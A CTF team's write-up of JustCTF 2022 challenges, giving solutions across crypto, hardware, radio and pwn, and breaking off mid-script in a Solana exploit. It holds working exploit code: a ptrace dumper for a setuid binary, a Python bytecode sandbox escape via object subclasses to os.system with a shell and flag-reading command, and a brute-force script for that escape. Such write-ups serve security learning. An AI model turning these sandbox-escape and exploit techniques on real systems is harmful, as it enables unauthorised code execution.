This page looks best with JavaScript enabled

JustCTF 2022 Writeup by Never Stop Exploiting

 ·  β˜• 50 min read

Crypto

Frosty

We could control the public key of verification, so we just let z=c, and make public key equal to the generator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from winpwn import *
import json
import subprocess

io = remote('frosty.nc.jctf.pro', 4445)
io.recvuntil('hashcash -mb26 ')
check = io.recv(8)
p = subprocess.Popen('E:\hashcash-0.32-win32-exe\hashcash-0.32-win32-exe\hashcash.exe -mb26 ' + check, shell=True, stdout=subprocess.PIPE)
out, err = p.communicate()
io.send(out[16:16 + 47].decode() + '\n')
exp = {"op": "verify",
       "pubkey": ["188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012",
                  "7192b95ffc8da78631011ed6b24cdd573f977a11e794811"],
       "z": "f5e09b4c6997a87917505316dce57dea0e59a15e134c03dd",
       "c": "f5e09b4c6997a87917505316dce57dea0e59a15e134c03dd",
       "m": '47696d6d6521'}
io.send(json.dumps(exp)+'\n')
io.interactive()

fROSty’s Second Signature Scheme

Int the sign function, Given D, let the response["D"] be -D, R will be a constant. We can also control msg, thus c is known. secret_nonce is a small number compared to server_privkey_share * c, secret_nonce is a random N bit value, let the expectation of secret_nonce be mean_nonce, (z- mean_nonce)/c=server_privkey_share + e where e is very small. We can recover the server_privkey_share by checking thatserver_pubkey_share == server_privkey_share * Curve.G. server_privkey_share = 4894979172874352169647192514370425511989305698962232813288
After that, we have to find out the right assignment of m、z and c such that c == mod_hash(m, R). Again, let z be server_privkey_share+client_privkey_share and c be 1, R will be Inf and the result is mod_hash(msg, Inf), which is known.

Simply Powered

Just calculate the order of the group, then calculate the mod inverse of e

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from winpwn import *
from Crypto.Util.number import *


def matrix_mul(A, B, n):
    order = len(A)
    C = [[0 for _ in range(order)] for _ in range(order)]
    for i in range(order):
        for j in range(order):
            for k in range(order):
                C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % n
    return C


def matrix_pow(base, index, n):
    order = len(base)
    C = [[0 for _ in range(order)] for _ in range(order)]
    for i in range(len(C)):
        C[i][i] = 1
    while index > 0:
        if index & 1:
            C = matrix_mul(C, base, n)
        base = matrix_mul(base, base, n)
        index //= 2
    return C


def calculate_order(p, n):
    order = 1
    for i in range(n):
        order *= (p**n-p**i)
    return order


io = remote('simply-powered-ams3.nc.jctf.pro', 4444)
for i in range(100):
    io.recvuntil('e =  ')
    e = int(io.recvuntil('\n').strip())
    io.recvuntil('p =  ')
    p = int(io.recvuntil('\n').strip())
    io.recvuntil('Matrix(')
    M1 = eval(io.recvuntil(')')[:-1])
    phi = calculate_order(p, len(M1))
    M0 = matrix_pow(M1, inverse(e, phi), p)
    ans = int(sum(sum(v) for v in M0))
    io.recvuntil('sum:')
    io.send(str(ans) + '\n')
    print(i)
io.interactive()

Misc

dumpme

First, we take a look at the binary. /task/dumpme is a setuid binary, so we cannot dump it directly.

1
2
3
bash-4.4$ ls -al /task/dumpme
ls -al /task/dumpme
---s--x--x 1 65534 65534 12648 Jun 11 06:12 /task/dumpme

Then it come to my mind that we solved “read flag” challenge in zer0ptctf 2022. In that challenge, we use ptrace to trace the registers in the program. Give it a try.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main()
{
    pid_t child;
    long orig_rax;
    child = fork();
    if (child == 0)
    {
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execl("/task/dumpme", NULL, NULL);
    }
    else
    {
        struct user_regs_struct regs;
        char buf[0x200];

        wait(NULL);
        orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);
        printf("orig_rax: %#llx\n", orig_rax);
        ptrace(PTRACE_GETREGS, child, NULL, &regs);
        print_regs(regs);

        while(1) {
            ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
            wait(NULL);
            ptrace(PTRACE_GETREGS, child, NULL, &regs);
            print_regs(regs);
        }
    }
}

We find that the program starts at 0xfeedface000 and ends at 0xfeedface010 with exit_group. So we decided to find a way to dump the magic 0x10 bytes。
After a while, we coincidentally find we can modify the registers by ptrace. We just pause the program at 0xfeedface010 which is certainly a syscall instruction. In this stage, we let $rax = 1; $rdi = 1; $rsi = 0xfeedface000; $rdx = 0x1000 to run write(1, 0xfeedface000, 0x1000). However, the instructions of the 0x10 bytes is nothing but exit. Then it hit me that auxv is at the stack of program. With the same way, we dump the stack, and get an interesting address of 0x1337babe000 which is the base address of the ELF file. The third time, we dump the ELF headers and treat it with readelf. The last interesting address is 0xdeadf00d000. And the flag lies there.

Exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <unistd.h>
#include <sys/types.h>

#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>

#include <sys/stat.h>
#include <fcntl.h>

#include <stdint.h>
#include <sys/syscall.h>

#include <stddef.h>

void print_regs(struct user_regs_struct regs)
{
    printf(
        "======== rip %llx =======\n"
        "rax %llx\n"
        "rbx %llx\n"
        "rcx %llx\n"
        "rdx %llx\n"
        "rsi %llx\n"
        "rdi %llx\n"
        "rbp %llx\n"
        "rsp %llx\n"
        "r8  %llx\n"
        "r9  %llx\n"
        "r10 %llx\n"
        "r11 %llx\n"
        "r12 %llx\n"
        "r13 %llx\n"
        "r14 %llx\n"
        "r15 %llx\n",
        regs.rip,
        regs.rax,
        regs.rbx,
        regs.rcx,
        regs.rdx,
        regs.rsi,
        regs.rdi,
        regs.rbp,
        regs.rsp,
        regs.r8,
        regs.r9,
        regs.r10,
        regs.r11,
        regs.r12,
        regs.r13,
        regs.r14,
        regs.r15
        );
}

int main()
{
    pid_t child;
    long orig_rax;
    child = fork();
    if (child == 0)
    {
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execl("/task/dumpme", NULL, NULL);
    }
    else
    {
        struct user_regs_struct regs;
        char buf[0x200];
        int i = 0;
        void *text_base = 0;

        wait(NULL);
        orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);
        printf("orig_rax: %#llx\n", orig_rax);
        ptrace(PTRACE_GETREGS, child, NULL, &regs);
        print_regs(regs);

        printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RIP, 0xfeedface010));
        printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RDI, 0x1));
        // printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RSI, 0x1337babe000));
        printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RSI, 0x00000deadf00d000));
        printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RDX, 0x1000));
        printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RAX, 0x1));
        
        ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
        wait(NULL);
        ptrace(PTRACE_GETREGS, child, NULL, &regs);
        print_regs(regs);
        
        // justCTF{tr4cing_blind_a1nt_that_h4rd}
    }
}

Hardware Screen

Unzip the sal file, then find tag. So use saleae logic analyzer to open it.
We found two channels:

It uses I2C protocol.The white one is control channel, and the orange one is data channel. Luckily, the saleae can automaticly analyze the write command and the real data for us.
According to the picture, the chip connected to the LCD1602 through only 4 lines, which means they worked in serial mode.
Randomly finding some source, we know that in this mode, the high 4 bits is the real data while the low 4 bits is control data. And when (data & 0x0f)&5!=0, that means the chip is sending data(not command).

In the data we can find that the bytes always keep the format of “0x0,0x4,0x0” or “0x9,0xd,0x9”. Actually, the former are commands, and the latter is real data of(the high 4 bits in * is the real data).
In LCD1602, if the databyte is English characters, then it has the same code as ASCII.
Finally, we collect all data like"0x9,0xd,0x*9", and deal it with script.

1
2
3
4
5
6
for i in range(0,len(data),6):
    hb=data[i]&0xf0
    lb=data[i+3]&0xf0
    print(chr(hb+lb//16),end='')

#justCTF{data_tr4nsfer_i2c}

Radio Ga Ga

We use urh to solve this challenge.
It’ s a morse code:
01101010 j
01110101 u
01110011 s
01110100 t
0100001101010100010001100111101101100010001100110101111101110001011101010011000100110011001101110101111100110000011100100101111100110111011010000011001101111001010111110111011100110001011011000110110001011111011010000011001100110100011100100101111101111001001100000111010101011111011000110110010001101101011011110110011001101110011100110110010001111101
Then we got the flag: justCTF{b3_qu137_0r_7h3y_w1ll_h34r_y0u_cdmofnsd}

Bifurcation (ppc)

just run two processes at the same time,and the correct letters are the same.So you can manually solved it.

Pwn

herpetology

This challenge is nearly identical to 0CTF 2021- pypypypy challenge, with the difference of (1) python 3.10, (2) having empty co_names and (3) not limiting number of bytes. Basically we need to provide python bytecode with no co_names to get shell but we do not have limitation of number of bytes.
As in what we did in 0CTF 2021- pypypypy challenge, we use the library “bytecode” to program python bytecode.
As (mostly) a revision of the pypypypy challenge, we see the following facts about how to use python bytecode to construct integers and strings without the requirement of consts. BUILD_TUPLE 0 yields (), UNARY_NOT on () yields False and UNARY_NOT on False yields True. They can be used as integer 0 and 1. Arithmetic operation including UNARY_INVERT BINARY_LSHIFT and so on can help build larger integers. FORMAT_STRING 2 is a repr primitive, and using it on a slice yields a string containing char 'c' , which can be extracted with BINARY_SUBSCR. FORMAT_STRING 4 with char 'c' yields arbitrary chars, and using BUILD_STRING on the arbitrary chars, we finally find arbitrary string. By the way PRINT_EXPR can print arbitrary expression without the need of print function.
Python bytecode indexes can overrun. So we can fetch oob resources in our bytecode. By providing a large index for co_names we can use the name __getattribute__ as operand of LOAD_ATTR which is enough for the later python exploit.
Python 3.10 exploit without builtins is as follows (common knowledge):

1
2
3
4
5
c=().__getattribute__('__init__').__getattribute__('__objclass__')
# only this index changes with python versions
c=c.__getattribute__(c,'__subclasses__')()[100]
c=c.__getattribute__(c,'acquire').__getattribute__('__globals__')[
'sys'].__getattribute__('modules')['os'].__getattribute__('system')('ls -al')

And it is just a matter of works to build bytecodes for the exploit (since we already had the pypypypy exploit).

import codecs
import dis
import math
from bytecode import ConcreteInstr, Instr, Bytecode

# adapted from 0ctf 2021 pypypypy exploit
# also when golfing, use LOAD_FAST STORE_FAST for storage of crucial values? it may oob and crash


class IntegerGeneretor(object):
    def __init__(self, maxint):
        assert isinstance(maxint, int) and maxint > 4
        self.maxint = maxint
        self.net = {}
        self.init_search()
        for i in range(maxint.bit_length()*4):
            print('ig iteration', i, len(self.net))
            if len(self.net) >= maxint*2+1:
                break
            self.iterate()
        assert len(self.net) >= maxint*2+1, 'some number is not generated'

    def init_search(self):
        self.net[1] = [Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT")]
        self.net[0] = [Instr("BUILD_TUPLE", 0), Instr(
            "UNARY_NOT"), Instr("UNARY_NOT")]

    def generate(self, base):
        yield(~base, [Instr("UNARY_INVERT")])
        yield(-base, [Instr("UNARY_NEGATIVE")])
        yield(base+base, [Instr("DUP_TOP"), Instr("BINARY_ADD")])
        yield(base+base+base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_ADD"), Instr("BINARY_ADD")])
        yield(base+base*base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_MULTIPLY"), Instr("BINARY_ADD")])
        yield(base*base, [Instr("DUP_TOP"), Instr("BINARY_MULTIPLY")])
        yield(base*base*base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_MULTIPLY"), Instr("BINARY_MULTIPLY")])
        if 2 <= base <= 8:
            yield(base**base, [Instr("DUP_TOP"), Instr("BINARY_POWER")])

        for i in range(int(math.sqrt(abs(base)))+2):
            for j in (i, -i):
                if j not in self.net:
                    continue
                yield(base+j, self.net[j]+[Instr("BINARY_ADD")])
                yield(base-j, self.net[j]+[Instr("BINARY_SUBTRACT")])
                yield(base*j, self.net[j]+[Instr("BINARY_MULTIPLY")])
                if 0 < j < base.bit_length():
                    yield(base << j, self.net[j]+[Instr("BINARY_LSHIFT")])
                    yield(base >> j, self.net[j]+[Instr("BINARY_RSHIFT")])

    def iterate(self):
        its = sorted(self.net)
        for i in its:
            base = self.net[i]
            for result, append in self.generate(i):
                if result < -self.maxint or result > self.maxint:
                    continue
                if result not in self.net or len(base)+len(append) < len(self.net[result]):
                    self.net[result] = base+append

    def do_solve(self, i):
        if i in self.net:
            return self.net[i]
        k = 0
        while (i & 1) == 0:
            k += 1
            i >>= 1
        return self.solve(~i) + [Instr("UNARY_INVERT")]+self.solve(k)+[Instr("BINARY_LSHIFT")]

    def solve(self, i):
        ans = self.do_solve(i)
        if i not in self.net:
            self.net[i] = ans
        return ans


ig = IntegerGeneretor(0x20)
push_integer = ig.solve


def gen_docs():
    fast_tuple = repr(slice({}, [], None))
    slow_tuple = repr(slice(True, False, None))
    return [
        (fast_tuple, [
            Instr("BUILD_MAP", 0),
            Instr("BUILD_LIST", 0),
            Instr("BUILD_SLICE", 2),
            Instr("FORMAT_VALUE", 2),
        ]),
        (slow_tuple, [
            Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT"),
            Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT"), Instr("UNARY_NOT"),
            Instr("BUILD_SLICE", 2),
            Instr("FORMAT_VALUE", 2),
        ]),
    ]


docs = gen_docs()


def push_ch(c):
    # when golf is needed, change the implementation with dynamic programming
    cand = []
    for (doc, cmd) in docs:
        if c in doc:
            cand.append(cmd +
                        push_integer(doc.index(c))+[Instr("BINARY_SUBSCR")])
    if cand:
        minlen = min([len(i) for i in cand])
        for i in cand:
            if len(i) == minlen:
                return i
    return push_integer(ord(c))+push_ch('c')+[Instr("FORMAT_VALUE", 4)]


def push_imms(s):
    # when golf is needed, change the implementation with dynamic programming
    cand = []
    for (doc, cmd) in docs:
        if s in doc:
            cd = []
            cd += cmd
            cd += push_integer(doc.index(s))
            cd += [Instr("DUP_TOP")]
            cd += push_integer(len(s))
            cd += [Instr("BUILD_SLICE", 2)]
            cd += [Instr("BINARY_SUBSCR")]
            cand.append(cd)
    if cand:
        minlen = min([len(i) for i in cand])
        for i in cand:
            if len(i) == minlen:
                return i


def push_str1(s):
    # doc may have longer string; we only concat them with chars, that could be a waste
    # we may also make a string by all chr and cache the string 'c' and even store not the ascii but the difference of ascii
    # when golf is needed, optimize this
    # return [Instr("LOAD_CONST", s)]
    cand1 = [j for i in s for j in push_ch(i)]+[Instr("BUILD_STRING", len(s))]
    cand2 = push_imms(s)
    if cand2 is not None and len(cand2) < len(cand1):
        print('str1 engine for', s, 'uses direct slice')
        cand1 = cand2
    return cand1


def push_str2(s, base=None):
    if base is None:
        sl = [ord(i) for i in s]
        base = int(sum(sl)/len(sl))
    pl = push_ch('c')+push_integer(base)

    for ii in range(len(s)):
        i = s[ii]
        if ii > 0 and s[ii] == s[ii-1]:
            pl = pl[:-1]+[Instr("DUP_TOP"), Instr("ROT_FOUR"),
                          Instr("ROT_THREE")]
        else:
            subpl = []
            subpl += [Instr("DUP_TOP_TWO")]
            if ord(i)-base != 0:
                subpl += push_integer(ord(i)-base)
                subpl += [Instr("BINARY_ADD")]
            subpl += [Instr("ROT_TWO")]
            subpl += [Instr("FORMAT_VALUE", 4)]
            subpl2 = push_ch(i)
            if len(subpl2) < len(subpl):
                subpl = subpl2
            pl += subpl
            pl += [Instr("ROT_THREE")]
    pl += [Instr("POP_TOP")]
    pl += [Instr("POP_TOP")]
    return pl+[Instr("BUILD_STRING", len(s))]


def push_str(s):
    cand = []
    cand.append((push_str1(s), 'pushstr1'))
    for k in range(0x20, 0x90, 0x1):
        cand.append((push_str2(s, k), ('pushstr2', hex(k))))
    minlen = min([len(i[0]) for i in cand])
    for i in cand:
        if len(i[0]) == minlen:
            print('chosen', i[1], 'for', s)
            return i[0]


# __getattribute__ = 0x212,206,210
# os = 0x3b8
# __class__ = 0x429
# __subclasses__ = 0x6cd
banner = [Instr("BUILD_TUPLE", 0), Instr(
    "BUILD_TUPLE", 1), Instr("PRINT_EXPR")]
print_top = [Instr("DUP_TOP"), Instr("PRINT_EXPR")]+banner
print_top2 = [Instr("DUP_TOP_TWO"), Instr(
    "PRINT_EXPR"), Instr("PRINT_EXPR")]+banner

cmd = '/readflag;sh;id;pwd;ls -al;cat fl*'
inst_l = []

"""
in python3.10 the offset will be 100

c=().__getattribute__('__init__').__getattribute__('__objclass__')
c=c.__getattribute__(c,'__subclasses__')()[100]
c=c.__getattribute__(c,'acquire').__getattribute__('__globals__')['sys'].__getattribute__('modules')['os'].__getattribute__('system')('ls -al')
"""
# spray getattributes

inst_l += push_str('__getattribute__')
inst_l += [Instr("BUILD_LIST", 1)]
inst_l += print_top
SPRAY_N = 12
for i in range(SPRAY_N):
    inst_l += [Instr("DUP_TOP")]
    inst_l += [Instr("LIST_EXTEND", 0)]
    inst_l += [Instr("DUP_TOP")]
    inst_l += [Instr("LIST_TO_TUPLE")]
    inst_l += [Instr("ROT_TWO")]
inst_l += [Instr("BUILD_TUPLE", SPRAY_N+1)]

inst_l += [Instr("BUILD_TUPLE", 0)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__init__')
inst_l += print_top2

inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__objclass__')

inst_l += [Instr("CALL_FUNCTION", 1)]

inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += [Instr("ROT_TWO")]

inst_l += print_top2

inst_l += push_str('__subclasses__')

inst_l += [Instr("CALL_FUNCTION", 2)]
inst_l += [Instr("CALL_FUNCTION", 0)]
inst_l += push_integer(100)
inst_l += [Instr("BINARY_SUBSCR")]

inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += [Instr("ROT_TWO")]

inst_l += print_top2

inst_l += push_str('acquire')
inst_l += [Instr("CALL_FUNCTION", 2)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__globals__')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str('sys')
inst_l += [Instr("BINARY_SUBSCR")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('modules')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str('os')
inst_l += [Instr("BINARY_SUBSCR")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('system')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str(cmd)
inst_l += [Instr("CALL_FUNCTION", 1)]

inst_l += [Instr("RETURN_VALUE")]

# test
#inst_l = []
#inst_l += push_integer(12343211234321567890)
#inst_l += [Instr("PRINT_EXPR")]

#doc_v, inst_v = docs[1]
#inst_l = [] + inst_v
#print('expect', repr(doc_v))

#inst_l = []

inst_l += [Instr("RETURN_VALUE")]

bytecode = Bytecode(inst_l)

code = bytecode.to_code()


def pretty_code(code):
    for i in dir(code):
        if not i.startswith('co_'):
            continue
        if i == 'co_code':
            bc = getattr(code, i)
            print(i, ':', len(bc), codecs.encode(bc, 'hex'))
        else:
            print(i, ':', repr(getattr(code, i)))
    dis.disassemble(code)
    dis.dis(code.co_code)


pretty_code(code)
val = eval(code, {'__builtins__': None}, {})
print('returned', repr(val))

binary = code.co_code
with open('final_payload.bin', 'wb') as f:
    f.write(binary)

Then we bruteforce the offset of __getattribute__ with the following script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import sys
import codecs

# adapted from 0ctf 2021 pypypypy exploit

# with open('final_payload.bin', 'rb') as f:
#    s = f.read()
s = bytes.fromhex(
'6900670085029b0266000c000400040017001700190066000c00040017000f00040014'
'000f0004000400170017000f0066000c00040017003e00050066000c000f0004001400'
'04000400140017000f00170002009b04040006000300050066000c000f000400170004'
'000400140017000f00170002009b0403006900670085029b0266000c000f0004001400'
'19000300050002009b040300050066000c00040017000f0004001400040017000f0017'
'0002009b040300050002009b04040006000300050066000c000f00170002009b040300'
'6900670085029b0266000c000400170019000300050066000c000f0004001400040017'
'000f0004001700170002009b040300050066000c00170002009b040300050002009b04'
'03006900670085029b0266000c000f000400140019000300050066000c000f00040014'
'0004000400140017000f00170002009b04040006000300010001009d10670104004600'
'6600660146000400a2000400520002000400a2000400520002000400a2000400520002'
'000400a2000400520002000400a2000400520002000400a2000400520002000400a200'
'0400520002000400a2000400520002000400a2000400520002000400a2000400520002'
'000400a2000400520002000400a200040052000200660d66006a006900670085029b02'
'66000c000400040017001700190066000c00040017000f0066000c000f00040014000f'
'000b003e000f0066000c000c003e00050002009b040400060003006900670085029b02'
'66000c0004001700190003006900670085029b0266000c000f00040017000400140019'
'0003006900670085029b0266000c000400170019000300050066000c000f0004000400'
'140014000f000400040017001700170002009b040300050002009b0404000600030001'
'0001009d0805004600460066006601460083016a006900670085029b0266000c000400'
'040017001700190066000c00040017000f0066000c000f00040014000f000b003e000f'
'0066000c000c003e00050002009b04040006000300050066000c000f00040017000400'
'1400170002009b040300050066000c000400040017001700170002009b040300050066'
'000c000f000400040017001700040017000f00170002009b040300050066000c000f00'
'04001400170002009b0403006900670085029b0266000c0019000300050066000c0004'
'001700170002009b0403006900670085029b0266000c000c0019000400060003000500'
'02009b04040006000300010001009d0c830104006a0002000500460046006600660146'
'006900670085029b0266000c000400040017001700190066000c000f00040017000f00'
'66000c000f00040014003e000f0066000c003e000f0066000c000c003e00050066000c'
'000f00170002009b040400060003006900670085029b0266000c000c00190003000500'
'66000c000f00040014000400040014001700170002009b040300050066000c00170002'
'009b040300050066000c0004001700170002009b0403006900670085029b0266000c00'
'19000300050002009b0403006900670085029b0266000c000c00190004000600030005'
'0066000c000f0004001400170002009b0403006900670085029b0266000c000c001900'
'0300050066000c000f00170002009b04040006000300010001009d0e8302830066000c'
'000f00040014000f00040014000f000f0066000c00040017003e00190004006a000200'
'0500460046006600660146006900670085029b0266000c000400040017001700190066'
'000c000400040017001700040013000f000b000f0066000c003e000f0066000c003e00'
'050066000c000f0004001700040014000f00170002009b0403006900670085029b0266'
'000c00040004001700170019000300050066000c000b00170002009b04030005006600'
'0c000400040017001700170002009b0403006900670085029b0266000c000400170019'
'000300050002009b0403006900670085029b0266000c000f0004001400190003000100'
'01009d0783026a006900670085029b0266000c000400040017001700190066000c0004'
'0017000f0066000c000f00040014000f000b003e000f0066000c000c003e0005000200'
'9b04040006000300050066000c000f000400140004001700170002009b040300690067'
'0085029b0266000c0019000300050066000c000f000400170004001400170002009b04'
'0300050066000c000400040017001700170002009b040300050066000c000400170017'
'0002009b0403006900670085029b0266000c00190003006900670085029b0266000c00'
'0c0019000300050002009b04040006000300010001009d0b83016900670085029b0266'
'000c000c00190066000c000f0004001700040014000b000f0066000c00040017003e00'
'0f0066000c003e000f0066000c000c003e006900670085029b0266000c000400040017'
'00170019009b046900670085029b0266000c000c0019009d0319006a00690067008502'
'9b0266000c000400040017001700190066000c000400040017001700040013000f000f'
'0066000c00040017003e00050066000c00170002009b040300050066000c0004000400'
'17001700170002009b040300050066000c000f000400040014001400170002009b0403'
'00050066000c00040017000f0004001400170002009b040300050002009b0403006900'
'670085029b0266000c000f0004001400190003006900670085029b0266000c000c0019'
'000300010001009d0783016900670085029b0266000c000f0004000400140014000400'
'17000f0019006900670085029b0266000c000c0019009d0219006a006900670085029b'
'0266000c000400040017001700190066000c000400040017001700040013000f000b00'
'0f0066000c00040017003e000f0066000c000c003e00050002009b040300050066000c'
'00040017000400040017001700170002009b040300050002009b040300050066000c00'
'170002009b0403006900670085029b0266000c000f000400140019000300050066000c'
'000f000400040017001700170002009b040300010001009d0683016900670085029b02'
'66000c000400040017001700190066000c000f00040014000400170004000400170017'
'000f0066000c00040017003e000f0066000c000c003e00050066000c000f0004001700'
'04000400140017000f0066000c00040017003e00170002009b040300050066000c000f'
'000400040014001400040017000f00170002009b040300050066000c00040017001700'
'02009b040300050066000c000f00170002009b040300050066000c00170002009b0403'
'00050066000c000400040017001700170002009b0403006900670085029b0266000c00'
'19000300050066000c000f00170002009b040300050066000c000f0004001400170002'
'009b040300050066000c000f00040014000f0066000c0004000400170017003e001700'
'02009b0403006900670085029b0266000c000c0019000300050066000c000f00040014'
'000f000b00170002009b040300050066000c000f00040014000f0066000c0004000400'
'170017003e00170002009b0403006900670085029b0266000c00040017001900030005'
'0066000c00170002009b040300050066000c000f00040014000f0066000c0004000400'
'170017003e00170002009b040300050066000c0004000400170017000400130066000c'
'003f00170002009b040300050066000c000f0004001400040004001400170017000200'
'9b040300050066000c00170002009b040300050066000c000f00040014000f0066000c'
'0004000400170017003e00170002009b0403006900670085029b0266000c0019000300'
'6900670085029b0266000c000c00190003006900670085029b0266000c00040017000f'
'000400140019000300050066000c00040017000f0004000400140014000f000f006600'
'0c003e00170002009b040300050066000c000f00170002009b0403006900670085029b'
'0266000c0019000300050066000c000f00040014000f0066000c000400040017001700'
'3e00170002009b040300050002009b040300050066000c000f00170002009b04030005'
'0066000c000f00040017000400140066000c001700170002009b040300690067008502'
'9b0266000c00040017000f000400140019000300050066000c00040004001700170017'
'0002009b0403006900670085029b0266000c0019000300050066000c000f0004000400'
'140014000f0066000c0004000400170017003e000f0066000c000c003e00170002009b'
'040300010001009d22830153005300'
)


def pack(index):
    if index == 0:
        return b'\x6a\x00'
    # 90 xx 90 xx 6a xx
    l = []
    assert index > 0
    while index:
        l.append(index & 0xff)
        l.append(0x90)
        index >>= 8
    l[1] = 0x6a
    l = l[::-1]
    return bytes(bytearray(l))


def mark(index):
    trick = pack(index)
    sl = [s[i*2:(i+1)*2] for i in range(len(s)//2)]
    sl = [trick if i == b'\x6a\x00' else i for i in sl]
    return b''.join(sl)


if __name__ == '__main__':
    # 4160 is locally bruteforced offset
    #offset = int(sys.argv[1], 0)
    offset = 4160

    #offset = 10844

    from pwn import remote, context
    context.log_level = 'error'
    for offset in range(40000):
        # for _ in range(1):
        if offset % 64 == 0:
            print('stage', offset)
        mk = mark(offset)
        payload = str(len(mk)).encode('ascii')+b'\n'+mk
        with remote('localhost', 37259) as r:
            # with remote('herpetology.pwn.jctf.pro', 37259) as r:
            r.send(payload)
            r.recvuntil('__getattribute__')
            try:
                v = r.recvn(10)
            except EOFError:
                # most cases remote outputs 9 char and then crashes
                # eliminate these cases
                continue
            print('offset', offset, len(v))
            # this may or may not be a shell
            # 20% of the offsets reaching here are shell
            r.interactive()

We find out the offset 4160 locally, and we try it remotely. Luckily we have the flag as well:

League of Lamports

Its pretty much the same as some previous CTF solana challenge, using the same framework to deploy the environment, specifically, picoCTF solfire and angCTF beachside.
So the main difference is shown as below:

  1. handle_create function generates program’s PDA, not solver’s PDA
  2. The bug is int16 overflow
    so the first step is to call the create function and, to prepare, generate the PDA manually.
    Then, for detailed solutions, just follow the next steps:
  3. Deposit 5
  4. Withdraw 2
  5. Withdraw 0xffff

Exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from base58 import b58decode, b58encode
from solana_helpers import find_program_address
from solana.publickey import PublicKey
context.log_level = 'debug'
p=remote('league-of-lamports.nc.jctf.pro', 1337)
#p = remote("127.0.0.1", 8080)
with open('./solve/dist/solve.so','rb') as f:
    content = f.read()
    f.close()
p.sendlineafter(b'length: ',str(len(content)).encode('ascii'))
p.send(content)
# get 3 accounts
#p.interactive()
p.recvuntil(': ')
program_pubkey = p.recvline().rstrip().decode()
p.recvuntil(': ')
solve_pubkey = p.recvline().rstrip().decode()
p.recvuntil(': ')
user_pubkey = p.recvline().rstrip().decode()


_, solfire_bump_seed = PublicKey.find_program_address([], PublicKey(program_pubkey))

balances_pubkey, balances_bump_seed = PublicKey.find_program_address([b"wallet"], PublicKey(program_pubkey))
balances_pubkey = balances_pubkey.to_base58().decode()

vault_pubkey, vault_bump_seed = PublicKey.find_program_address([b"vault"], PublicKey(program_pubkey))
vault_pubkey = vault_pubkey.to_base58().decode()


log.success(f'program: {program_pubkey}')
log.success(f'solve: {solve_pubkey}')
log.success(f'user: {user_pubkey}')
log.success(f"ledger: {balances_pubkey} {balances_bump_seed}")
log.success(f"vault: {vault_pubkey} {vault_bump_seed}")
# metadata
#p.recvuntil("num accounts:")
p.sendline("7") 
p.sendline(f"r SysvarC1ock11111111111111111111111111111111") 
p.sendline(f"r 11111111111111111111111111111111") 
p.sendline(f"w {balances_pubkey}") 
